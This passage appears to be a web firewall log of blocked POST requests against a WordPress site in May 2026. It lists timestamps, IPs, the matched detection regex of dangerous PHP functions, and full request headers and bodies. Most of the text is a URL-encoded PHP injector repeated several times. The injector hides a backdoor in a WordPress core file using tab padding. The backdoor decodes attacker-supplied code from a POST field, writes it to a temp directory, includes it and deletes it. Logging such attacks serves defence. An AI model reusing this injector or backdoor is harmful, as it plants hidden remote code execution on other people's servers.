%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4555\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJHDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nYD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:56","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4555\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFSpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nHW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:58","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?1\ncontent-length:4578\nsec-ch-ua-platform:\"Android\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:42:02","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529